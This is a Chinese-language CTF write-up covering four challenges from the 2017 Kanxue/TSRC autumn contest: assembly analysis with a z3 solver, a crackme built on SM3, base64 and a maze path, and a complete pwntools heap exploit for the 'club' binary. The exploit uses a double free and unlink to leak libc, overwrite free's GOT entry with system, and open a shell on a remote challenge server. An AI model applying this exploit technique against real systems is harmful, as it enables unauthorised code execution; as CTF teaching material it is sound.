看雪.TSRC 2017CTF秋季赛 

看雪的ctf 以逆向和pwn为主,持续更新,希望能跟下去把

第一题 Helllo-CTF

明文,不详解

第二题 ctf2017_Fpc

讲道理第二题出得很没有道理,
输入后的两个call 并没有什么用 干扰视线

在text段有一段shellcode,构造9876543210ab11A的输入可以跳转到该shellcode上,这是一段很花很花的东西

跳转不看,我们将有用的汇编取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


00413150 | 33 C0 | xor eax,eax |
00413184 | A3 34 B0 41 00 | mov dword ptr ds:[41B034],eax |
004131BA | 58 | pop eax | x ecx
004131EB | 8B C8 | mov ecx,eax | x
0041321F | 58 | pop eax | y ebx
00413254 | 8B D8 | mov ebx,eax | y
00413289 | 58 | pop eax | z edx
004132B5 | 8B D0 | mov edx,eax | z
004132AD | 8B D0 | mov edx,eax |

004132E2 | 8B C1 | mov eax,ecx | eax = ecx = x
00413316 | 2B C3 | sub eax,ebx | eax = eax-ecx = x-y
00413349 | C1 E0 02 | shl eax,2 | eax = (x-y)<<2
00413380 | 03 C1 | add eax,ecx | eax = ((x-y)<<2)+ x
004133B5 | 03 C2 | add eax,edx | eax = ((x-y)<<2)+ x+z
004133E9 | 2D E2 17 F9 EA | sub eax,EAF917E2 | eax = ((x-y)<<2)+ x+z-0xEAF917E2

00413455 03C1 ADD EAX,ECX
00413489 2BC3 SUB EAX,EBX ; EAX=EAX-EBX=x-y
004134BF 8BD8 MOV EBX,EAX ; EBX=x-y
004134F3 D1E0 SHL EAX,1 ; EAX= (x-y)<<1
00413525 03C3 ADD EAX,EBX ; EAX=EAX+EBX= ((x-y)<<1)+(x-y)
00413559 03C1 ADD EAX,ECX ; EAX= ((x-y)<<1)+(x-y)+x
0041358F 8BC8 MOV ECX,EAX ; ECX=EAX
004135C3 03C2 ADD EAX,EDX ; EAX= ((x-y)<<1)+(x-y)+x+z
004135F7 2D C808F5E8 SUB EAX,0xE8F508C8 ; EAX= ((x-y)<<1)+(x-y)-0xE8F508C8
00413665 8BC1 MOV EAX,ECX ; EAX= ((x-y)<<1)+(x-y)+x
0041365D 8BC1 MOV EAX,ECX ;
004136A7 2BC2 SUB EAX,EDX ; EAX= EAX-EDX=((x-y)<<1)+(x-y)+x-z

esp:
0018FF48 00413835 ASCII "You get it!"

然后可以获取三个算式
我们使用z3求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat solve.py
#!/usr/bin/env python
# coding=utf-8


from z3 import *
x, y ,z = BitVecs('x y z', 64)
#x = Real('x')
#y = Real('y')
#z = Real('z')

solve(((x - y) << 2) + x + z == 0xEAF917E2,((x - y) << 1) + (x - y) + x + z == 0xE8F508C8,((x - y) << 1) + (x - y) + x - z == 0x0C0A3C68)


# swing @ swingdeMacBook-Pro in /private/tmp [21:32:21]
$ python solve.py
[z = 1853187632, y = 1919903280, x = 1953723722]

flag: Just0for0fun11A

第三题 crackMe


运行程序,能看到是有gui的,查找import


能找到GetDlgItemTextA这个是一个处理窗口消息的函数


我们通过交叉引用,可以找到程序的关键流程



基本的流程就是:读取用户收入信息。然后做两次base64编码,再用国密算法SM3计算一个hash。计算完hash之后转换成16进制。然后将Hash值的后64位和用户输入进行比较。


然后程序的下一个流程 会到一个迷宫游戏

能看到迷宫地图

1
2
3
4
5
6
7
8
9
10
0 1 1 1 1 1 1 1 1 0
0 0 1 1 1 1 1 0 0 0
1 0 0 0 0 0 1 0 1 1
1 1 1 1 1 0 1 0 0 1
1 0 0 0 1 0 1 0 0 1
1 0 1 0 0 0 1 0 1 1
1 0 1 1 1 1 1 0 0 1
1 0 0 0 0 1 1 1 0 0
1 1 1 1 0 0 0 0 1 0
1 1 1 1 1 1 1 0 0 0

其中的0为可行路径。题目中,替换后的输入字符为q z分别表示向上一行和向下一行;p l分别表示向左一格和向右一格。
[3,8]为死路。若输入为\x20,则结束,返回True;若走错,则返回False,验证失败。
这里并没有对路径完成量进行约束,也产生了多解可能。这里,我们为简化,可以直接让替换后的第一个字符为\x20。

总是所述,正确的答案行走路线是:
zlzllllzzzppqppzzzlllzlllzllqqpqpqqqqqllq
然后根据上面分析到的结果进行逆运算。它的摩尔斯码如下:

1
--.. .-.. --.. .-.. .-.. .-.. .-.. --.. --.. --.. .--. .--. --.- .--. .--. --.. --.. --.. .-.. .-.. .-.. --.. .-.. .-.. .-.. --.. .-.. .-.. --.- --.- .--. --.- .--. --.- --.- --.- --.- --.- .-.. .-.. --.-/

将上述结果进行2次base64编码
最后在末尾附加hash值(就是SM3加密之后的值)就是答案

第四题 club_pwn

double free
我的简单分析 https://bbs.pediy.com/thread-222421.htm

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#!/usr/bin/env python
# coding=utf-8


from pwn import *
from ctypes import *

context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']

if len(sys.argv) >1:
debug = False
else:
debug = True
if debug:
libc= CDLL('/lib/x86_64-linux-gnu/libc.so.6')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('club')

else:
libc = CDLL('libc.so.6')
lib = ELF('libc.so.6')
io = remote('123.206.22.95',8888)


#main_arena_offset = lib.symbols['main_arena']
system_offset = lib.symbols['system']
binsh_offset = lib.search('/bin/sh').next()
free_offset = lib.symbols['free']

log.info("system_offset:0x%x" % system_offset)
log.info("binsh_offset:0x%x" % binsh_offset)
log.info("free_offset: 0x%X" % free_offset)

def get_a_box(index,size):
io.recvuntil('>')
io.sendline(str('1'))
io.recvuntil('>')
io.sendline(str(index))
io.recvuntil('>')
io.sendline(str(size))



def destory_a_box(index):
io.recvuntil('>')
io.sendline(str('2'))
io.recvuntil('>')
io.sendline(str(index))

def leave_me_a_message(index,message):
io.recvuntil('>')
io.sendline(str('3'))
io.recvuntil('>')
io.sendline(str(index))
time.sleep(1)
io.sendline(message)

def show_message(index):
io.recvuntil('>')
io.sendline(str('4'))
io.recvuntil('>')
io.sendline(str(index))

def guess_a_randnum(num):

io.recvuntil('>')
io.sendline(str('5'))
io.recvuntil('>')
io.sendline(str(num))



def guess_seed(num):
for i in xrange(0x148,0x7ffff000,0x1000):
#i = i<<12
#i += 0x148 #seed offset
libc.srand(i)
randnum = int(libc.rand())
if randnum == int(num):
return libc.rand()
print 'seed' ,i
return 0



guess_a_randnum(str(0))
n = io.recvuntil('is ')
num = io.recvuntil('!')[:-1]
print '[*]rand1='+num

# get seed addr and base addr

a=guess_seed(num)

guess_a_randnum(a)

io.recvuntil('You get a secret:')
seed_addr = int(io.recvuntil('!')[:-1])

log.info("seed_addr: 0x%x" % int(seed_addr))



free_got_addr = seed_addr-0x202148+0x202018
p_addr = seed_addr-0x202148+0x202110

log.info('free_got_addr:'+hex(free_got_addr))



# fake chunk and get shell

fake_fd = p64(p_addr-0x18)
fake_bk = p64(p_addr-0x10)



get_a_box(1,0x30)
get_a_box(2,0x100)
get_a_box(3,0x110)
raw_input('get 3 box')
#gdb.attach(io)
raw_input('destory_2_box')
destory_a_box(2)
destory_a_box(3)
pause()
fake_fd = p64(p_addr-0x18)
fake_bk = p64(p_addr-0x10)

payload = p64(0)+p64(0x101)+fake_fd+fake_bk+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100)
raw_input('off by one to leak ')
raw_input('get 4 box size 0x220')
get_a_box(4,0x220)
raw_input('fill the 4 box')
leave_me_a_message(4,payload)
raw_input('destory_3_box')
destory_a_box(3)
raw_input('leak got addr')

log.info('leaking address...')
leave_me_a_message(2,p64(1)+p64(1)+p64(free_got_addr))
raw_input('leakk.......')
#gdb.attach(io)
raw_input('leak free addr')
show_message(1)
pause()
free_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)


pause()
system_addr = int(free_addr)-free_offset+system_offset
log.info('system address:'+hex(system_addr))
gdb.attach(io)
raw_input('get shell~~~~~~')
leave_me_a_message(1,p64(system_addr))
pause()
leave_me_a_message(3,'/bin/sh')
raw_input('unlink to get shell')
destory_a_box(3)
pause()
# log.info("leak .....libc.....")
# get_a_box(1,0x80)
# get_a_box(2,0xa0)
# get_a_box(3,0xb0)

# destory_a_box(2)
# pause()
# #gdb.attach(io)
# raw_input('leak.....libc')
# show_message(2)
# main_arena_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)
# print hex(main_arena_addr)
# #log.info("main_arena_addr: 0x%x" % hex(main_arena_addr))
# pause()


io.interactive()